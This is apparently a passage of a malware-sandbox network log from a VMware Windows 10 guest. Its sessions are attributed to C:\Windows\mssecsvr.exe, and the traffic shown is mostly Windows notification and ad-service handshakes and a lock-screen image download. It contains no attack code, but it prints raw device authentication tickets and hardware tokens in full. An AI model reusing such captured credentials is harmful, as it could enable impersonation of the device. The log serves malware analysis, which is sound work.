2022-07-20 07:08:05 UTC	338	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.6	50561	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:08:11 UTC	341	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 65 38 33 36 65 38 38 37 39 37 61 36 35 62 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 1e836e88797a65b4
2022-07-20 07:08:11 UTC	341	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 07:08:11 UTC	342	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 65 38 33 36 65 38 38 37 39 37 61 36 35 62 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 67 62 38 6d 63 76 6f 59 71 2f 77 30 68 4c 32 35 4f 78 42 6b 6f 76 76 4b 55 6f 31 62 2f 59 4e 70 33 56 41 6f 66 65 41 70 6b 34 79 4d 55 44 70 75 65 52 32 34 4a 77 42 68 31 64 56 55 6a 50 48 42 38 6b 63 69 30 61 6a 74 78 41 73 4a 6f 46 6e 68 66 72 58 68 4e 4a 34 66 51 46 61 71 39 66 4b 50 49 73 38 58 37 31 4d 6d 4e 45 68 57 42 4d 41 2b 4c 43 75 4b 66 49 68 7a 65 52 39 58 73 44 32 47 2b 6f 34 53 4e 79 54 Data Ascii: ATH 2 CON\DEVICE 1014Context: 1e836e88797a65b4<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATgb8mcvoYq/w0hL25OxBkovvKUo1b/YNp3VAofeApk4yMUDpueR24JwBh1dVUjPHB8kci0ajtxAsJoFnhfrXhNJ4fQFaq9fKPIs8X71MmNEhWBMA+LCuKfIhzeR9XsD2G+o4SNyT
2022-07-20 07:08:11 UTC	343	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 65 38 33 36 65 38 38 37 39 37 61 36 35 62 34 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 1e836e88797a65b4<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 07:08:11 UTC	343	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 07:08:11 UTC	343	IN	Data Raw: 4d 53 2d 43 56 3a 20 48 47 72 6b 37 4a 39 6c 47 30 53 73 59 6b 50 30 55 67 45 53 50 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: HGrk7J9lG0SsYkP0UgESPg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.6	50587	20.82.209.183	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:08:12 UTC	343	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220720T160812Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=a575de82e5604264b777120281f318bd&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611135&metered=false&nettype=ethernet&npid=sc-280815&oemName=rijlag%2C%20Inc.&oemid=rijlag%2C%20Inc.&ossku=Professional&smBiosDm=rijlag7%2C1&tl=2&tsu=1611135&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAV/JD3oKC4erzl2Ea/oUrOp1pNc4QgOxWf40cVdqDv6qvmLSbtdBmT/p2XzHUYoqr1SIvWwEaKwxS0re4zmUmMSqBgoshinNlsSh9qJQjWOdvWXFLmKjD2uEekVsvAKckAVPVWJe2Ny/WnTaFpKQzCgFTZa3IkjU7Hbehg+DYJHhChzfRHF2sO0jOskfWKFdyW52Ak+FtmoqIsp8y3tQfMrqyjEiVWv0fR7ZA2LeAJj+TmRFtS6qUQwwupmNrsCyWU61HW/mMK6y5/aAUrDQmVCGhguistpZyNr/lvinVQfK1Uixmc5R5HGjcNdFdcknyiw47LFX9PdqCnrGOmfqhIsDZgAACPrQmV5bYdrMqAFoU6lm3mIEm2TkMWdOm1/3xz9Fff8e5gTLFZE8pfgpnqXgZ/dTCiGdFXRPUfRGJZCpspZOvGUIhz8Dd6nN86z6gyVzsFNPj0ZHRtSnxZFuH7QfAfaM//hyruj89mpH2rSp2pgrVdyPcG4raPsDR9mx0M/UShGI3lGTw57U3gfJFgQka+gZ8FVesKPvCbS9lEx3pb44aZMIvmJ+lh5kvhXSxYouGhJHpto7VbtYSIK0K7mZXCLtMZej8WcIY6SVIBujMsS0xaUYF4kaC+DmApSbHeKsf+375MQaFYB4lpOXBfSnG36T7f1rlawNM3uMrmIIl71G7ilpDIjcHGBQHuu7OTNLvQG1juQes/jp5ILJ7FyBXsPmbnDW3eKQL9EQubeZdAeGPwNGVROXwymwt9zQ8zwfHBtk0zda8sJyEVhWFhlg0NZOklY3vbKCCRF4IxIQ1u0cDNEI4R6vpNEYahKB8we8WDXluKP8MFXpJv8eimxx0opFrohmTp76E6K4CIgw1/zhUN5w7WPZSDoV9sAXG/lQMsYUynYCQOvIdawta70usTG/DTPD1gE=&p= Cache-Control: no-cache MS-CV: R4MDVFUt1EqdhKtw.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 07:08:13 UTC	345	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 3071 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T700333390-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: CHVQ5bfbbqzrX3Iq9JIuYjw0+KO+kee3CGvD+N7iji03LYjoIbLn1kdL01tmsksV2mVwTfL/61K7Co9CH/RSdRe9N0GA6kxjQ734eEq15rPgCbq5uueODC3oq17oz68BFfjhzip+b20ymerdmF8sLias9qXdXJ3JvqgMpLxYnX+h8Ylh/gbB1H+aW7fo0t+LZil8ah82NWFGMUVFO/rPpVjmQxZiHyf3fB3ZkUHPfsbIbZfImdgwhjg9Ox8MRRhvSg9WC4S7dfoUQoV6vQDhDvejNXmaZfrIcgEDw5Y0L4jCbO8+nH9Y5gIfiNqbzmkfDkRIZQlrqKnPi15K/uTyFA== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 07:08:12 GMT Connection: close
2022-07-20 07:08:13 UTC	346	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.6	50666	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:08:16 UTC	349	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 38 37 65 33 35 63 35 33 65 64 35 37 39 34 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 487e35c53ed57946
2022-07-20 07:08:16 UTC	349	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 07:08:16 UTC	349	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 38 37 65 33 35 63 35 33 65 64 35 37 39 34 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 67 62 38 6d 63 76 6f 59 71 2f 77 30 68 4c 32 35 4f 78 42 6b 6f 76 76 4b 55 6f 31 62 2f 59 4e 70 33 56 41 6f 66 65 41 70 6b 34 79 4d 55 44 70 75 65 52 32 34 4a 77 42 68 31 64 56 55 6a 50 48 42 38 6b 63 69 30 61 6a 74 78 41 73 4a 6f 46 6e 68 66 72 58 68 4e 4a 34 66 51 46 61 71 39 66 4b 50 49 73 38 58 37 31 4d 6d 4e 45 68 57 42 4d 41 2b 4c 43 75 4b 66 49 68 7a 65 52 39 58 73 44 32 47 2b 6f 34 53 4e 79 54 Data Ascii: ATH 2 CON\DEVICE 1014Context: 487e35c53ed57946<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATgb8mcvoYq/w0hL25OxBkovvKUo1b/YNp3VAofeApk4yMUDpueR24JwBh1dVUjPHB8kci0ajtxAsJoFnhfrXhNJ4fQFaq9fKPIs8X71MmNEhWBMA+LCuKfIhzeR9XsD2G+o4SNyT
2022-07-20 07:08:16 UTC	350	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 38 37 65 33 35 63 35 33 65 64 35 37 39 34 36 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 487e35c53ed57946
2022-07-20 07:08:16 UTC	350	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 07:08:16 UTC	350	IN	Data Raw: 4d 53 2d 43 56 3a 20 6b 44 4b 44 49 2f 52 65 39 45 69 67 69 6c 74 54 64 57 68 6c 66 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: kDKDI/Re9EigiltTdWhlfg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.6	50841	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:08:24 UTC	350	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 34 63 30 63 36 66 39 31 36 33 61 39 33 35 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 14c0c6f9163a9356
2022-07-20 07:08:24 UTC	350	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 07:08:24 UTC	351	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 34 63 30 63 36 66 39 31 36 33 61 39 33 35 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 67 62 38 6d 63 76 6f 59 71 2f 77 30 68 4c 32 35 4f 78 42 6b 6f 76 76 4b 55 6f 31 62 2f 59 4e 70 33 56 41 6f 66 65 41 70 6b 34 79 4d 55 44 70 75 65 52 32 34 4a 77 42 68 31 64 56 55 6a 50 48 42 38 6b 63 69 30 61 6a 74 78 41 73 4a 6f 46 6e 68 66 72 58 68 4e 4a 34 66 51 46 61 71 39 66 4b 50 49 73 38 58 37 31 4d 6d 4e 45 68 57 42 4d 41 2b 4c 43 75 4b 66 49 68 7a 65 52 39 58 73 44 32 47 2b 6f 34 53 4e 79 54 Data Ascii: ATH 2 CON\DEVICE 1014Context: 14c0c6f9163a9356<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATgb8mcvoYq/w0hL25OxBkovvKUo1b/YNp3VAofeApk4yMUDpueR24JwBh1dVUjPHB8kci0ajtxAsJoFnhfrXhNJ4fQFaq9fKPIs8X71MmNEhWBMA+LCuKfIhzeR9XsD2G+o4SNyT
2022-07-20 07:08:24 UTC	352	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 34 63 30 63 36 66 39 31 36 33 61 39 33 35 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 14c0c6f9163a9356<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 07:08:24 UTC	352	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 07:08:24 UTC	352	IN	Data Raw: 4d 53 2d 43 56 3a 20 59 34 37 46 57 78 33 36 53 55 2b 70 6d 6b 4e 45 30 48 34 2b 4d 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Y47FWx36SU+pmkNE0H4+Mg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.6	50722	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:08:24 UTC	352	OUT	GET /cms/api/am/imageFileData/RE4Pwej?ver=cbf0 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 07:08:24 UTC	353	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4Pwej?ver=cbf0 Last-Modified: Mon, 18 Jul 2022 03:16:18 GMT X-Source-Length: 1708865 X-Datacenter: northeu X-ActivityId: 3b303f55-c44f-445a-80b2-3902917371c3 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1708865 Cache-Control: public, max-age=245318 Expires: Sat, 23 Jul 2022 03:17:02 GMT Date: Wed, 20 Jul 2022 07:08:24 GMT Connection: close
2022-07-20 07:08:24 UTC	354	IN	Data Raw: ff d8 ff e1 1f f7 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 32 3a 30 33 3a 30 32 20 31 33 3a 32 32 3a 31 30 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2022:03:02 13:22:108"
2022-07-20 07:08:24 UTC	401	IN	Data Raw: 71 b5 db ab 76 55 ac 15 3b 75 d4 31 8d f4 b6 7a fe 97 fa 4f e7 16 8c 74 fc bb db d4 a9 dd 91 6d b5 d5 b9 d6 18 21 84 b7 11 b7 7d 9f 4b 1b 93 63 36 55 53 7f d1 ff 00 39 5d d5 6f f5 2d 08 09 54 81 04 2c f7 3c 5b cc c6 aa da 8b 73 ac 7e 1e 53 5a e7 32 99 02 b0 63 77 eb 14 d2 e7 be f6 7e 8f fc 37 fc 6f fc 65 9b a9 a1 ad a8 e1 e2 b9 8e bc bd d7 7a ce b3 d2 69 a9 a3 73 5c f2 d7 7a 54 bb 73 bd 5f 42 df e7 36 7a 3e a5 6b 22 de b1 91 43 03 ab 7b 05 2f 63 db 65 56 59 68 61 2e 14 fd 99 d7 5d f4 ad b7 d2 df fa 0a ff 00 9f f5 7d 3f df 54 6f fa c1 94 fb 7d 5a de ec 50 18 f6 b6 a0 e0 e8 0f 24 6f 7d 4d 6b 6a d9 5b 5e cf a7 fe 0b f4 75 fe 9b f4 a9 d2 d0 d5 d5 24 48 00 09 a1 7d ce ae d6 4e 5d 18 ce a7 a8 db 61 a2 dc 06 3d b0 e6 87 1b 18 4c b6 cc 9a ac 14 7e 86 a7 ff 00 32 Data Ascii: qvU;u1zOtm!}Kc6US9]o-T,<[s~SZ2cw~7oezis\zTs_B6z>k"C{/ceVYha.]}?To}ZP$o}Mkj[^u$H}N]a=L~2
2022-07-20 07:08:24 UTC	417	IN	Data Raw: 31 35 54 30 39 3a 35 34 3a 31 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 31 35 54 31 30 3a 30 34 3a 30 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 Data Ascii: 15T09:54:15-07:00 File Lockscreen_1920x1080_Landscape.psd opened 2016-07-15T10:04:07-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb s
2022-07-20 07:08:24 UTC	458	IN	Data Raw: 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 33 38 38 30 31 37 38 38 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 30 3a 34 38 3a 31 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 33 38 38 30 31 38 37 32 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 30 3a 34 38 3a 33 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 